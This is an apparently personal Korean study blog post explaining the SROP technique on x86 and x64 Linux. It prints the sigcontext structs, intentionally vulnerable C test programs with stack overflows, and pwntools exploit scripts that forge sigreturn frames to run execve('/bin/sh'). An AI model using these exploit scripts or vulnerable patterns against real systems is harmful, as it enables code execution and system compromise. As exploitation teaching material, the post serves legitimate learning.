x86, x64 srop 기법을 정리한다.
srop는 sigreturn return oriented programming으로, sigreturn system call을 사용하는 rop이다.
이 기법은 rop를 하기 위한 gadget이 부족할 때 요긴하게 사용할 수 있다.
이 기법을 이해하기 위해서는 user mode
와 kernel mode
에 대해 알아야 한다.
프로그램은 보안, 자원 관리 등의 이유로 user mode
와 kernel mode
를 왔다갔다 하면서 실행된다.
user mode
는 접근할 수 있는 영역이 한정적이며, kernel mode
는 모든 자원에 접근할 수 있다. 아직 제대로 공부한 적이 없어서 정확히 어느 부분이 한정적인지는 모르겠다. 보통 kernel mode
에서는 signal을 처리한다고 한다.
때문에 user mode
<-> kernel mode
가 이루어질 때, 자원의 공유가 필요하다.
user mode
-> kernel mode
: user hardware context를 kernel stack에 저장한다.
kernel mode
-> user mode
: setup_frame() 함수에 의해 user stack에 user hardware context가 저장되며 sigreturn syscall이 불려 user context를 셋팅한다.
즉, sigreturn system call을 통해서 레지스터를 셋팅해줄 수 있다는 것이다.
sigreturn은 sigcontext 구조체 형태로 user context를 바꿔준다.
sigcontext.h에 선언되어 있는 sigcontext struct는 다음과 같다.
find /usr/include -name "sigcontext.h" 2> /dev/null
xxxxxxxxxx
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
xxxxxxxxxx
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
x
char tmp[] = "/bin/sh";
void main()
{
__asm("xor %eax, %eax");
__asm("movl %esp, %ecx");
__asm("movl $0x80, %edx");
__asm("mov %eax, %ebx");
__asm("movb $0x3, %al");
__asm("int $0x80");
//read(0, rsp, 0x100);
}
간단한 overflow이다. 하지만 함수가 존재하지 않고 가젯도 없어 일반적인 rop가 불가능하다. 이런 상황에서 srop를 사용할 수 있다. sigcontext struct에 맞춰 인자를 주면 된다.
gcc -o test test.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2
를 사용하여 컴파일한 후 테스트 하도록 하자.
xxxxxxxxxx
from pwn import *
int_0x80 = 0x080483eb
binsh = 0x804a018
s = process('./test')
gs = 0x0
fs = 0x0
es = 0x0
ds = 0x0
edi = 0
esi = 0x0
ebp = 0
esp = 0
ebx = binsh
edx = 0
ecx = 0
eax = 0xb
trapno = 0
err = 0
eip = int_0x80
cs = 0x23
eflags = 0x0
esp_at_signal = 0
ss = 0x2b
args = [gs, fs, es, ds, edi, esi, ebp, esp, ebx, edx, ecx, eax, trapno, err, eip, cs, eflags, esp_at_signal, ss]
pay1 = 'A'*4
pay1 += p32(int_0x80)
for i in args:
pay1 += p32(i)
pay1 = pay1.ljust(118, '\x00')
s.sendline(pay1)
s.interactive()
중요하게 값을 지정해야 하는 것은 얼마 안된다.
cs(code segment), ss(stack segment), ebx, ecx, edx, eip, esp, ebp를 잘 맞춰줘야 한다.
cs와 ss는 user mode
와 동일하게 맞춰줘야 하고 ebx, ecx, edx에는 인자를, esp, ebp는 exploit plan에 맞춰 설정해주거나 0으로 해주면 된다.
근데 이렇게 /bin/sh의 주소와 int 0x80의 주소를 단번에 알 수 있으면 딱히 상관 없는데 원래는 int 0x80은 libc 함수 안에 존재하고( __kernel_sigreturn 함수도 마찬가지 ) /bin/sh도 데이터 영역에 써주지 않는 이상 libc에 존재해서 아직은 어느 때에 rop대신 써야하는지 확실히는 모르겠다.
xxxxxxxxxx
char tmp[] = "/bin/sh";
void main()
{
__asm("xor %rax, %rax");
__asm("movq %rsp, %rsi");
__asm("movq $0x100, %rdx");
__asm("movq %rax, %rdi");
__asm("movq $0x0, %rax");
__asm("syscall");
__asm("movq $0xf, %rax");
//read(0, rsp, 0x100);
}
32비트와 달라진건 사이즈를 0x100으로 늘렸다는 것과 rax에 0xf를 넣어주는 기계어를 추가했다는 점이다.
gcc -o test test.c -fno-stack-protector
로 컴파일한 후 테스트하도록 하자.
xxxxxxxxxx
from pwn import *
context.clear(arch='amd64')
syscall = 0x4004f1
binsh = 0x601030
s = process('./test')
frame = SigreturnFrame(kernel='amd64')
frame.rdi = binsh
frame.rax = constants.SYS_execve.real
frame.rip = syscall
pay = 'A'*8
pay += p64(syscall)
pay += str(frame)
s.sendline(pay)
s.interactive()
익스 과정에서 신기한 점은 sigreturn 함수가 32, 64비트 동작이 똑같아서 64비트여도 rdi를 인자로 받지 않고 스택을 인자로 받는다는 것이다.
참조
https://www.lazenca.net/display/TEC/01.SROP%28Sigreturn-oriented+programming%29+-+x86
'system > material' 카테고리의 다른 글
c++ std::string (0) | 2019.01.22 |
---|---|
fastbin dup consolidate 정리 (0) | 2019.01.22 |
glibc 2.26 tcache 동작 분석 및 exploit (how2heap) (2) | 2019.01.15 |
got_overwrite stack_smashing_detected (0) | 2019.01.12 |
unsorted bin free 동작.. (0) | 2018.12.26 |